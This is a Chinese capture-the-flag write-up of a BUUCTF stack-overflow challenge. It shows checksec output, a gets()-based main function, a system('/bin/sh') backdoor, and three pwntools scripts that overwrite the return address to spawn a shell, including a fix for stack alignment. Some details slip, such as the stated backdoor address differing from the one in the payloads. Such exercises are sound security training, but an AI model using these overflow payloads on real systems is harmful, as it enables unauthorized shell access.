checksec:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

main函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+1h] [rbp-Fh]

  puts("please input");
  gets(&s, argv);
  puts(&s);
  puts("ok,bye!!!");
  return 0;
}

s的rbp为0xf,返回地址为0x8,然后看下back♂door函数:

int fun()
{
  return system("/bin/sh");
}

栈溢出,back♂door的地址为0x401197,exp我写成如下的形式:

from pwn import *

io = remote('node3.buuoj.cn',27563)
payload = 'a'*0xf+'a'*0x08+p64(0x401186)
io.sendline(payload)
io.interactive()

出乎意料的报错了,查了下资料:

buuctf 最新使用的 ubuntu 18.04 要求 system 函数调用时栈指针必须 16 对齐。

需要ret到 ret 这个指令本身的地址,再ret一遍到后门,修改后的exp如下:

from pwn import *

io = remote('node3.buuoj.cn',27563)
payload = 'a'*0xf+'a'*0x08+p64(0x401142)+p64(0x401186)
io.sendline(payload)
io.interactive()

也可以ret到后门函数顶上的 mov rdp rsp(把rsp这个栈指针(Stack Pointer)的值复制到rbp里,rsp始终会指向栈顶)那里:
2021-07-01_225434.png

from pwn import *

io = remote('node3.buuoj.cn',27563)
payload = 'a'*0xf+'a'*0x08+p64(0x401187)+p64(0x401186)
io.sendline(payload)
io.interactive()